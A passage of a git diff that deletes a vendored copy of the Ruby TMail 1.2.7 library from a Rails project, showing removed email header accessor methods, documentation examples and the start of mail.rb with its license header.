-      addrs2specs(to_addrs(nil)) || default
-    end
-
-    # Returns who the email cc'd as an Array of email addresses as opposed to an Array of 
-    # TMail::Address objects which is what Mail#to_addrs returns
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.cc = "Mikel <mikel@me.org>, another Mikel <mikel@you.org>"
-    #  mail.cc #=>  ["mikel@me.org", "mikel@you.org"]
-    def cc( default = nil )
-      addrs2specs(cc_addrs(nil)) || default
-    end
-
-    # Returns who the email bcc'd as an Array of email addresses as opposed to an Array of 
-    # TMail::Address objects which is what Mail#to_addrs returns
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.bcc = "Mikel <mikel@me.org>, another Mikel <mikel@you.org>"
-    #  mail.bcc #=>  ["mikel@me.org", "mikel@you.org"]
-    def bcc( default = nil )
-      addrs2specs(bcc_addrs(nil)) || default
-    end
-
-    # Destructively sets the "To:" field to the passed array of strings (which should be valid 
-    # email addresses)
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.to = ["mikel@abc.com", "Mikel <mikel@xyz.com>"]
-    #  mail.to #=>  ["mikel@abc.org", "mikel@xyz.org"]
-    #  mail['to'].to_s #=> "mikel@abc.com, Mikel <mikel@xyz.com>"
-    def to=( *strs )
-      set_string_array_attr 'To', strs
-    end
-
-    # Destructively sets the "Cc:" field to the passed array of strings (which should be valid 
-    # email addresses)
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.cc = ["mikel@abc.com", "Mikel <mikel@xyz.com>"]
-    #  mail.cc #=>  ["mikel@abc.org", "mikel@xyz.org"]
-    #  mail['cc'].to_s #=> "mikel@abc.com, Mikel <mikel@xyz.com>"
-    def cc=( *strs )
-      set_string_array_attr 'Cc', strs
-    end
-
-    # Destructively sets the "Bcc:" field to the passed array of strings (which should be valid 
-    # email addresses)
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.bcc = ["mikel@abc.com", "Mikel <mikel@xyz.com>"]
-    #  mail.bcc #=>  ["mikel@abc.org", "mikel@xyz.org"]
-    #  mail['bcc'].to_s #=> "mikel@abc.com, Mikel <mikel@xyz.com>"
-    def bcc=( *strs )
-      set_string_array_attr 'Bcc', strs
-    end
-
-    #== Originator methods
-
-    # Return a TMail::Addresses instance for each entry in the "From:" field of the mail object header.
-    # 
-    # If the "From:" field does not exist, will return nil by default or the value you
-    # pass as the optional parameter.
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.from_addrs #=> nil
-    #  mail.from_addrs([]) #=> []
-    #  mail.from = "Mikel <mikel@me.org>, another Mikel <mikel@you.org>"
-    #  mail.from_addrs #=>  [#<TMail::Address mikel@me.org>, #<TMail::Address mikel@you.org>]
-    def from_addrs( default = nil )
-      if h = @header['from']
-        h.addrs
-      else
-        default
-      end
-    end
-
-    # Destructively set the to value of the "From:" header to equal the passed in string.
-    # 
-    # TMail will parse your contents and turn each valid email address into a TMail::Address 
-    # object before assigning it to the mail message.
-    #
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.from_addrs = "Mikel <mikel@me.org>, another Mikel <mikel@you.org>"
-    #  mail.from_addrs #=>  [#<TMail::Address mikel@me.org>, #<TMail::Address mikel@you.org>]
-    def from_addrs=( arg )
-      set_addrfield 'from', arg
-    end
-
-    # Returns who the email is from as an Array of email address strings instead to an Array of 
-    # TMail::Address objects which is what Mail#from_addrs returns
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.from = "Mikel <mikel@me.org>, another Mikel <mikel@you.org>"
-    #  mail.from #=>  ["mikel@me.org", "mikel@you.org"]
-    def from( default = nil )
-      addrs2specs(from_addrs(nil)) || default
-    end
-
-    # Destructively sets the "From:" field to the passed array of strings (which should be valid 
-    # email addresses)
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.from = ["mikel@abc.com", "Mikel <mikel@xyz.com>"]
-    #  mail.from #=>  ["mikel@abc.org", "mikel@xyz.org"]
-    #  mail['from'].to_s #=> "mikel@abc.com, Mikel <mikel@xyz.com>"
-    def from=( *strs )
-      set_string_array_attr 'From', strs
-    end
-
-    # Returns the "friendly" human readable part of the address
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.from = "Mikel Lindsaar <mikel@abc.com>"
-    #  mail.friendly_from #=> "Mikel Lindsaar"
-    def friendly_from( default = nil )
-      h = @header['from']
-      a, = h.addrs
-      return default unless a
-      return a.phrase if a.phrase
-      return h.comments.join(' ') unless h.comments.empty?
-      a.spec
-    end
-
-    # Return a TMail::Addresses instance for each entry in the "Reply-To:" field of the mail object header.
-    # 
-    # If the "Reply-To:" field does not exist, will return nil by default or the value you
-    # pass as the optional parameter.
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.reply_to_addrs #=> nil
-    #  mail.reply_to_addrs([]) #=> []
-    #  mail.reply_to = "Mikel <mikel@me.org>, another Mikel <mikel@you.org>"
-    #  mail.reply_to_addrs #=>  [#<TMail::Address mikel@me.org>, #<TMail::Address mikel@you.org>]
-    def reply_to_addrs( default = nil )
-      if h = @header['reply-to']
-        h.addrs.blank? ? default : h.addrs
-      else
-        default
-      end
-    end
-
-    # Destructively set the to value of the "Reply-To:" header to equal the passed in argument.
-    # 
-    # TMail will parse your contents and turn each valid email address into a TMail::Address 
-    # object before assigning it to the mail message.
-    #
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.reply_to_addrs = "Mikel <mikel@me.org>, another Mikel <mikel@you.org>"
-    #  mail.reply_to_addrs #=>  [#<TMail::Address mikel@me.org>, #<TMail::Address mikel@you.org>]
-    def reply_to_addrs=( arg )
-      set_addrfield 'reply-to', arg
-    end
-
-    # Returns who the email is from as an Array of email address strings instead to an Array of 
-    # TMail::Address objects which is what Mail#reply_to_addrs returns
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.reply_to = "Mikel <mikel@me.org>, another Mikel <mikel@you.org>"
-    #  mail.reply_to #=>  ["mikel@me.org", "mikel@you.org"]
-    def reply_to( default = nil )
-      addrs2specs(reply_to_addrs(nil)) || default
-    end
-
-    # Destructively sets the "Reply-To:" field to the passed array of strings (which should be valid 
-    # email addresses)
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.reply_to = ["mikel@abc.com", "Mikel <mikel@xyz.com>"]
-    #  mail.reply_to #=>  ["mikel@abc.org", "mikel@xyz.org"]
-    #  mail['reply_to'].to_s #=> "mikel@abc.com, Mikel <mikel@xyz.com>"
-    def reply_to=( *strs )
-      set_string_array_attr 'Reply-To', strs
-    end
-
-    # Return a TMail::Addresses instance of the "Sender:" field of the mail object header.
-    # 
-    # If the "Sender:" field does not exist, will return nil by default or the value you
-    # pass as the optional parameter.
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.sender #=> nil
-    #  mail.sender([]) #=> []
-    #  mail.sender = "Mikel <mikel@me.org>"
-    #  mail.reply_to_addrs #=>  [#<TMail::Address mikel@me.org>]
-    def sender_addr( default = nil )
-      f = @header['sender'] or return default
-      f.addr                or return default
-    end
-
-    # Destructively set the to value of the "Sender:" header to equal the passed in argument.
-    # 
-    # TMail will parse your contents and turn each valid email address into a TMail::Address 
-    # object before assigning it to the mail message.
-    #
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.sender_addrs = "Mikel <mikel@me.org>, another Mikel <mikel@you.org>"
-    #  mail.sender_addrs #=>  [#<TMail::Address mikel@me.org>, #<TMail::Address mikel@you.org>]
-    def sender_addr=( addr )
-      if addr
-        h = HeaderField.internal_new('sender', @config)
-        h.addr = addr
-        @header['sender'] = h
-      else
-        @header.delete 'sender'
-      end
-      addr
-    end
-
-    # Returns who the sender of this mail is as string instead to an Array of 
-    # TMail::Address objects which is what Mail#sender_addr returns
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.sender = "Mikel <mikel@me.org>"
-    #  mail.sender #=>  "mikel@me.org"
-    def sender( default = nil )
-      f = @header['sender'] or return default
-      a = f.addr            or return default
-      a.spec
-    end
-
-    # Destructively sets the "Sender:" field to the passed string (which should be a valid 
-    # email address)
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.sender = "mikel@abc.com"
-    #  mail.sender #=>  "mikel@abc.org"
-    #  mail['sender'].to_s #=> "mikel@abc.com"
-    def sender=( str )
-      set_string_attr 'Sender', str
-    end
-
-    #== Subject methods
-
-    # Returns the subject of the mail instance.
-    # 
-    # If the subject field does not exist, returns nil by default or you can pass in as
-    # the parameter for what you want the default value to be.
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.subject #=> nil
-    #  mail.subject("") #=> ""
-    #  mail.subject = "Hello"
-    #  mail.subject #=> "Hello"
-    def subject( default = nil )
-      if h = @header['subject']
-        h.body
-      else
-        default
-      end
-    end
-    alias quoted_subject subject
-
-    # Destructively sets the passed string as the subject of the mail message.
-    # 
-    # Example
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.subject #=> "This subject"
-    #  mail.subject = "Another subject"
-    #  mail.subject #=> "Another subject"
-    def subject=( str )
-      set_string_attr 'Subject', str
-    end
-
-    #== Message Identity & Threading Methods
-    
-    # Returns the message ID for this mail object instance.
-    # 
-    # If the message_id field does not exist, returns nil by default or you can pass in as
-    # the parameter for what you want the default value to be.
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.message_id #=> nil
-    #  mail.message_id(TMail.new_message_id) #=> "<47404c5326d9c_2ad4fbb80161@baci.local.tmail>"
-    #  mail.message_id = TMail.new_message_id
-    #  mail.message_id #=> "<47404c5326d9c_2ad4fbb80161@baci.local.tmail>"
-    def message_id( default = nil )
-      if h = @header['message-id']
-        h.id || default
-      else
-        default
-      end
-    end
-
-    # Destructively sets the message ID of the mail object instance to the passed in string
-    # 
-    # Invalid message IDs are ignored (silently, unless configured otherwise) and result in 
-    # a nil message ID.  Left and right angle brackets are required.
-    #
-    # Be warned however, that calling mail.ready_to_send will overwrite whatever value you
-    # have in this field with an automatically generated unique value.
-    # 
-    # If you really want to set your own message ID and know what you are doing per the
-    # various RFCs, you can do so with the enforced_message_id= command
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.message_id = "<348F04F142D69C21-291E56D292BC@xxxx.net>"
-    #  mail.message_id #=> "<348F04F142D69C21-291E56D292BC@xxxx.net>"
-    #  mail.message_id = "this_is_my_badly_formatted_message_id"
-    #  mail.message_id #=> nil
-    def message_id=( str )
-      set_string_attr 'Message-Id', str
-    end
-
-    # Destructively sets the message ID of the mail object instance to the passed in string
-    # and also guarantees that calling #ready_to_send will not destroy what you set as the
-    # message_id
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.message_id = "<348F04F142D69C21-291E56D292BC@xxxx.net>"
-    #  mail.message_id #=> "<348F04F142D69C21-291E56D292BC@xxxx.net>"
-    #  mail.ready_to_send
-    #  mail.message_id #=> "<348F04F142D69C21-291E56D292BC@xxxx.net>"
-    def enforced_message_id=( str )
-      @message_id_enforced = true
-      self.message_id = ( str )
-    end
-
-    # Returns the "In-Reply-To:" field contents as an array of this mail instance if it exists
-    # 
-    # If the in_reply_to field does not exist, returns nil by default or you can pass in as
-    # the parameter for what you want the default value to be.
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.in_reply_to #=> nil
-    #  mail.in_reply_to([]) #=> []
-    #  TMail::Mail.load("../test/fixtures/raw_email_reply")
-    #  mail.in_reply_to #=> ["<348F04F142D69C21-291E56D292BC@xxxx.net>"]
-    def in_reply_to( default = nil )
-      if h = @header['in-reply-to']
-        h.ids
-      else
-        default
-      end
-    end
-
-    # Destructively sets the value of the "In-Reply-To:" field of an email.
-    # 
-    # Accepts an array of a single string of a message id
-    #
-    # Example: 
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.in_reply_to = ["<348F04F142D69C21-291E56D292BC@xxxx.net>"]
-    #  mail.in_reply_to #=> ["<348F04F142D69C21-291E56D292BC@xxxx.net>"]
-    def in_reply_to=( *idstrs )
-      set_string_array_attr 'In-Reply-To', idstrs
-    end
-
-    # Returns the references of this email (prior messages relating to this message)
-    # as an array of message ID strings.  Useful when you are trying to thread an
-    # email.
-    # 
-    # If the references field does not exist, returns nil by default or you can pass in as
-    # the parameter for what you want the default value to be.
-    # 
-    # Example:
-    #
-    #  mail = TMail::Mail.new
-    #  mail.references #=> nil
-    #  mail.references([]) #=> []
-    #  mail = TMail::Mail.load("../test/fixtures/raw_email_reply")
-    #  mail.references #=> ["<473FF3B8.9020707@xxx.org>", "<348F04F142D69C21-291E56D292BC@xxxx.net>"]
-    def references( default = nil )
-      if h = @header['references']
-        h.refs
-      else
-        default
-      end
-    end
-
-    # Destructively sets the value of the "References:" field of an email.
-    # 
-    # Accepts an array of strings of message IDs
-    #
-    # Example: 
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.references = ["<348F04F142D69C21-291E56D292BC@xxxx.net>"]
-    #  mail.references #=> ["<348F04F142D69C21-291E56D292BC@xxxx.net>"]
-    def references=( *strs )
-      set_string_array_attr 'References', strs
-    end
-
-    #== MIME header methods
-
-    # Returns the listed MIME version of this email from the "Mime-Version:" header field
-    # 
-    # If the mime_version field does not exist, returns nil by default or you can pass in as
-    # the parameter for what you want the default value to be.
-    # 
-    # Example:
-    #
-    #  mail = TMail::Mail.new
-    #  mail.mime_version #=> nil
-    #  mail.mime_version([]) #=> []
-    #  mail = TMail::Mail.load("../test/fixtures/raw_email")
-    #  mail.mime_version #=> "1.0"
-    def mime_version( default = nil )
-      if h = @header['mime-version']
-        h.version || default
-      else
-        default
-      end
-    end
-
-    def mime_version=( m, opt = nil )
-      if opt
-        if h = @header['mime-version']
-          h.major = m
-          h.minor = opt
-        else
-          store 'Mime-Version', "#{m}.#{opt}"
-        end
-      else
-        store 'Mime-Version', m
-      end
-      m
-    end
-
-    # Returns the current "Content-Type" of the mail instance.
-    #
-    # If the content_type field does not exist, returns nil by default or you can pass in as
-    # the parameter for what you want the default value to be.
-    # 
-    # Example:
-    #
-    #  mail = TMail::Mail.new
-    #  mail.content_type #=> nil
-    #  mail.content_type([]) #=> []
-    #  mail = TMail::Mail.load("../test/fixtures/raw_email")
-    #  mail.content_type #=> "text/plain"
-    def content_type( default = nil )
-      if h = @header['content-type']
-        h.content_type || default
-      else
-        default
-      end
-    end
-
-    # Returns the current main type of the "Content-Type" of the mail instance.
-    #
-    # If the content_type field does not exist, returns nil by default or you can pass in as
-    # the parameter for what you want the default value to be.
-    # 
-    # Example:
-    #
-    #  mail = TMail::Mail.new
-    #  mail.main_type #=> nil
-    #  mail.main_type([]) #=> []
-    #  mail = TMail::Mail.load("../test/fixtures/raw_email")
-    #  mail.main_type #=> "text"
-    def main_type( default = nil )
-      if h = @header['content-type']
-        h.main_type || default
-      else
-        default
-      end
-    end
-
-    # Returns the current sub type of the "Content-Type" of the mail instance.
-    #
-    # If the content_type field does not exist, returns nil by default or you can pass in as
-    # the parameter for what you want the default value to be.
-    # 
-    # Example:
-    #
-    #  mail = TMail::Mail.new
-    #  mail.sub_type #=> nil
-    #  mail.sub_type([]) #=> []
-    #  mail = TMail::Mail.load("../test/fixtures/raw_email")
-    #  mail.sub_type #=> "plain"
-    def sub_type( default = nil )
-      if h = @header['content-type']
-        h.sub_type || default
-      else
-        default
-      end
-    end
-
-    # Destructively sets the "Content-Type:" header field of this mail object
-    # 
-    # Allows you to set the main type, sub type as well as parameters to the field.
-    # The main type and sub type need to be a string.
-    # 
-    # The optional params hash can be passed with keys as symbols and values as a string,
-    # or strings as keys and values.
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.set_content_type("text", "plain")
-    #  mail.to_s #=> "Content-Type: text/plain\n\n"
-    # 
-    #  mail.set_content_type("text", "plain", {:charset => "EUC-KR", :format => "flowed"})
-    #  mail.to_s #=> "Content-Type: text/plain; charset=EUC-KR; format=flowed\n\n"
-    #
-    #  mail.set_content_type("text", "plain", {"charset" => "EUC-KR", "format" => "flowed"})
-    #  mail.to_s #=> "Content-Type: text/plain; charset=EUC-KR; format=flowed\n\n"
-    def set_content_type( str, sub = nil, param = nil )
-      if sub
-        main, sub = str, sub
-      else
-        main, sub = str.split(%r</>, 2)
-        raise ArgumentError, "sub type missing: #{str.inspect}" unless sub
-      end
-      if h = @header['content-type']
-        h.main_type = main
-        h.sub_type  = sub
-        h.params.clear
-      else
-        store 'Content-Type', "#{main}/#{sub}"
-      end
-      @header['content-type'].params.replace param if param
-      str
-    end
-
-    alias content_type= set_content_type
-    
-    # Returns the named type parameter as a string, from the "Content-Type:" header.
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.type_param("charset") #=> nil
-    #  mail.type_param("charset", []) #=> []
-    #  mail.set_content_type("text", "plain", {:charset => "EUC-KR", :format => "flowed"})
-    #  mail.type_param("charset") #=> "EUC-KR"
-    #  mail.type_param("format") #=> "flowed"
-    def type_param( name, default = nil )
-      if h = @header['content-type']
-        h[name] || default
-      else
-        default
-      end
-    end
-
-    # Returns the character set of the email.  Returns nil if no encoding set or returns
-    # whatever default you pass as a parameter - note passing the parameter does NOT change
-    # the mail object in any way.
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.load("path_to/utf8_email")
-    #  mail.charset #=> "UTF-8"
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.charset #=> nil
-    #  mail.charset("US-ASCII") #=> "US-ASCII"
-    def charset( default = nil )
-      if h = @header['content-type']
-        h['charset'] or default
-      else
-        mime_version_charset || default
-      end
-    end
-
-    # some weird emails come with the charset specified in the mime-version header:
-    #
-    #  #<TMail::MimeVersionHeader "1.0\n charset=\"gb2312\"">
-    #
-    def mime_version_charset
-      if header['mime-version'].inspect =~ /charset=('|\\")?([^\\"']+)/
-        $2
-      end
-    end
-
-    # Destructively sets the character set used by this mail object to the passed string, you
-    # should note though that this does nothing to the mail body, just changes the header
-    # value, you will need to transliterate the body as well to match whatever you put 
-    # in this header value if you are changing character sets.
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.charset #=> nil
-    #  mail.charset = "UTF-8"
-    #  mail.charset #=> "UTF-8"
-    def charset=( str )
-      if str
-        if h = @header[ 'content-type' ]
-          h['charset'] = str
-        else
-          store 'Content-Type', "text/plain; charset=#{str}"
-        end
-      end
-      str
-    end
-
-    # Returns the transfer encoding of the email.  Returns nil if no encoding set or returns
-    # whatever default you pass as a parameter - note passing the parameter does NOT change
-    # the mail object in any way.
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.load("path_to/base64_encoded_email")
-    #  mail.transfer_encoding #=> "base64"
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.transfer_encoding #=> nil
-    #  mail.transfer_encoding("base64") #=> "base64"
-    def transfer_encoding( default = nil )
-      if h = @header['content-transfer-encoding']
-        h.encoding || default
-      else
-        default
-      end
-    end
-
-    # Destructively sets the transfer encoding of the mail object to the passed string, you
-    # should note though that this does nothing to the mail body, just changes the header
-    # value, you will need to encode or decode the body as well to match whatever you put 
-    # in this header value.
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.transfer_encoding #=> nil
-    #  mail.transfer_encoding = "base64"
-    #  mail.transfer_encoding #=> "base64"
-    def transfer_encoding=( str )
-      set_string_attr 'Content-Transfer-Encoding', str
-    end
-
-    alias encoding                   transfer_encoding
-    alias encoding=                  transfer_encoding=
-    alias content_transfer_encoding  transfer_encoding
-    alias content_transfer_encoding= transfer_encoding=
-
-    # Returns the content-disposition of the mail object, returns nil or the passed 
-    # default value if given
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.load("path_to/raw_mail_with_attachment") 
-    #  mail.disposition #=> "attachment"
-    #
-    #  mail = TMail::Mail.load("path_to/plain_simple_email")
-    #  mail.disposition #=> nil
-    #  mail.disposition(false) #=> false
-    def disposition( default = nil )
-      if h = @header['content-disposition']
-        h.disposition || default
-      else
-        default
-      end
-    end
-
-    alias content_disposition     disposition
-
-    # Allows you to set the content-disposition of the mail object.  Accepts a type
-    # and a hash of parameters.
-    # 
-    # Example:
-    # 
-    #  mail.set_disposition("attachment", {:filename => "test.rb"})
-    #  mail.disposition #=> "attachment"
-    #  mail['content-disposition'].to_s #=> "attachment; filename=test.rb"
-    def set_disposition( str, params = nil )
-      if h = @header['content-disposition']
-        h.disposition = str
-        h.params.clear
-      else
-        store('Content-Disposition', str)
-        h = @header['content-disposition']
-      end
-      h.params.replace params if params
-    end
-
-    alias disposition=            set_disposition
-    alias set_content_disposition set_disposition
-    alias content_disposition=    set_disposition
-
-    # Returns the value of a parameter in an existing content-disposition header
-    # 
-    # Example:
-    # 
-    #  mail.set_disposition("attachment", {:filename => "test.rb"})
-    #  mail['content-disposition'].to_s #=> "attachment; filename=test.rb"
-    #  mail.disposition_param("filename") #=> "test.rb"
-    #  mail.disposition_param("missing_param_key") #=> nil
-    #  mail.disposition_param("missing_param_key", false) #=> false
-    #  mail.disposition_param("missing_param_key", "Nothing to see here") #=> "Nothing to see here"
-    def disposition_param( name, default = nil )
-      if h = @header['content-disposition']
-        h[name] || default
-      else
-        default
-      end
-    end
-
-    # Convert the Mail object's body into a Base64 encoded email
-    # returning the modified Mail object
-    def base64_encode!
-      store 'Content-Transfer-Encoding', 'Base64'
-      self.body = base64_encode
-    end
-
-    # Return the result of encoding the TMail::Mail object body
-    # without altering the current body
-    def base64_encode
-      Base64.folding_encode(self.body)
-    end
-
-    # Convert the Mail object's body into a Base64 decoded email
-    # returning the modified Mail object
-    def base64_decode!
-      if /base64/i === self.transfer_encoding('')
-        store 'Content-Transfer-Encoding', '8bit'
-        self.body = base64_decode
-      end
-    end
-
-    # Returns the result of decoding the TMail::Mail object body
-    # without altering the current body
-    def base64_decode
-      Base64.decode(self.body, @config.strict_base64decode?)
-    end
-
-    # Returns an array of each destination in the email message including to: cc: or bcc:
-    # 
-    # Example:
-    # 
-    #  mail.to = "Mikel <mikel@lindsaar.net>"
-    #  mail.cc = "Trans <t@t.com>"
-    #  mail.bcc = "bob <bob@me.com>"
-    #  mail.destinations #=> ["mikel@lindsaar.net", "t@t.com", "bob@me.com"]
-    def destinations( default = nil )
-      ret = []
-      %w( to cc bcc ).each do |nm|
-        if h = @header[nm]
-          h.addrs.each {|i| ret.push i.address }
-        end
-      end
-      ret.empty? ? default : ret
-    end
-
-    # Yields a block of destination, yielding each as a string.
-    #  (from the destinations example)
-    #  mail.each_destination { |d| puts "#{d.class}: #{d}" }
-    #  String: mikel@lindsaar.net
-    #  String: t@t.com
-    #  String: bob@me.com
-    def each_destination( &block )
-      destinations([]).each do |i|
-        if Address === i
-          yield i
-        else
-          i.each(&block)
-        end
-      end
-    end
-
-    alias each_dest each_destination
-
-    # Returns an array of reply to addresses that the Mail object has, 
-    # or if the Mail message has no reply-to, returns an array of the
-    # Mail objects from addresses.  Else returns the default which can
-    # either be passed as a parameter or defaults to nil
-    # 
-    # Example:
-    #  mail.from = "Mikel <mikel@lindsaar.net>"
-    #  mail.reply_to = nil
-    #  mail.reply_addresses #=> [""]  
-    # 
-    def reply_addresses( default = nil )
-      reply_to_addrs(nil) or from_addrs(nil) or default
-    end
-
-    # Returns the "sender" field as an array -> useful to find out who to 
-    # send an error email to.
-    def error_reply_addresses( default = nil )
-      if s = sender(nil)
-        [s]
-      else
-        from_addrs(default)
-      end
-    end
-
-    # Returns true if the Mail object is a multipart message
-    def multipart?
-      main_type('').downcase == 'multipart'
-    end
-
-    # Creates a new email in reply to self.  Sets the In-Reply-To and
-    # References headers for you automagically.
-    #
-    # Example:
-    #  mail = TMail::Mail.load("my_email")
-    #  reply_email = mail.create_reply
-    #  reply_email.class         #=> TMail::Mail
-    #  reply_email.references  #=> ["<d3b8cf8e49f04480850c28713a1f473e@lindsaar.net>"]
-    #  reply_email.in_reply_to #=> ["<d3b8cf8e49f04480850c28713a1f473e@lindsaar.net>"]
-    def create_reply
-      setup_reply create_empty_mail()
-    end
-
-    # Creates a new email in reply to self.  Sets the In-Reply-To and
-    # References headers for you automagically.
-    #
-    # Example:
-    #  mail = TMail::Mail.load("my_email")
-    #  forward_email = mail.create_forward
-    #  forward_email.class         #=> TMail::Mail
-    #  forward_email.content_type  #=> "multipart/mixed"
-    #  forward_email.body          #=> "Attachment: (unnamed)"
-    #  forward_email.encoded       #=> Returns the original email as a MIME attachment
-    def create_forward
-      setup_forward create_empty_mail()
-    end
-
-    #:stopdoc:
-    private
-
-    def create_empty_mail
-      self.class.new(StringPort.new(''), @config)
-    end
-
-    def setup_reply( mail )
-      if tmp = reply_addresses(nil)
-        mail.to_addrs = tmp
-      end
-
-      mid = message_id(nil)
-      tmp = references(nil) || []
-      tmp.push mid if mid
-      mail.in_reply_to = [mid] if mid
-      mail.references = tmp unless tmp.empty?
-      mail.subject = 'Re: ' + subject('').sub(/\A(?:\[[^\]]+\])?(?:\s*Re:)*\s*/i, '')
-      mail.mime_version = '1.0'
-      mail
-    end
-
-    def setup_forward( mail )
-      m = Mail.new(StringPort.new(''))
-      m.body = decoded
-      m.set_content_type 'message', 'rfc822'
-      m.encoding = encoding('7bit')
-      mail.parts.push m
-      # call encoded to reparse the message
-      mail.encoded
-      mail
-    end
-
-  #:startdoc:
-  end   # class Mail
-
-end   # module TMail
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/loader.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/loader.rb
deleted file mode 100644
index 6c0e2511..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/loader.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-#:stopdoc:
-require 'tmail/mailbox'
-#:startdoc:
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/mail.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/mail.rb
deleted file mode 100644
index 7074ed98..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/mail.rb
+++ /dev/null
@@ -1,578 +0,0 @@
-=begin rdoc
-
-= Mail class
-
-=end
-#--
-# Copyright (c) 1998-2003 Minero Aoki <aamine@loveruby.net>
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
-# with permission of Minero Aoki.
-#++
-
- 
-
-require 'tmail/interface'
-require 'tmail/encode'
-require 'tmail/header'
-require 'tmail/port'
-require 'tmail/config'
-require 'tmail/utils'
-require 'tmail/attachments'
-require 'tmail/quoting'
-require 'socket'
-
-module TMail
-
-  # == Mail Class
-  # 
-  # Accessing a TMail object done via the TMail::Mail class.  As email can be fairly complex
-  # creatures, you will find a large amount of accessor and setter methods in this class!
-  # 
-  # Most of the below methods handle the header, in fact, what TMail does best is handle the
-  # header of the email object.  There are only a few methods that deal directly with the body
-  # of the email, such as base64_encode and base64_decode.
-  # 
-  # === Using TMail inside your code
-  # 
-  # The usual way is to install the gem (see the {README}[link:/README] on how to do this) and
-  # then put at the top of your class:
-  # 
-  #  require 'tmail'
-  # 
-  # You can then create a new TMail object in your code with:
-  # 
-  #  @email = TMail::Mail.new
-  # 
-  # Or if you have an email as a string, you can initialize a new TMail::Mail object and get it
-  # to parse that string for you like so:
-  # 
-  #  @email = TMail::Mail.parse(email_text)
-  # 
-  # You can also read a single email off the disk, for example:
-  # 
-  #  @email = TMail::Mail.load('filename.txt')
-  # 
-  # Also, you can read a mailbox (usual unix mbox format) and end up with an array of TMail
-  # objects by doing something like this:
-  # 
-  #  # Note, we pass true as the last variable to open the mailbox read only
-  #  mailbox = TMail::UNIXMbox.new("mailbox", nil, true)
-  #  @emails = []
-  #  mailbox.each_port { |m| @emails << TMail::Mail.new(m) }
-  #
-  class Mail
-
-    class << self
-      
-      # Opens an email that has been saved out as a file by itself.
-      # 
-      # This function will read a file non-destructively and then parse
-      # the contents and return a TMail::Mail object.
-      # 
-      # Does not handle multiple email mailboxes (like a unix mbox) for that
-      # use the TMail::UNIXMbox class.
-      # 
-      # Example:
-      #  mail = TMail::Mail.load('filename')
-      # 
-      def load( fname )
-        new(FilePort.new(fname))
-      end
-
-      alias load_from load
-      alias loadfrom load
-      
-      # Parses an email from the supplied string and returns a TMail::Mail
-      # object.
-      # 
-      # Example:
-      #  require 'rubygems'; require 'tmail'
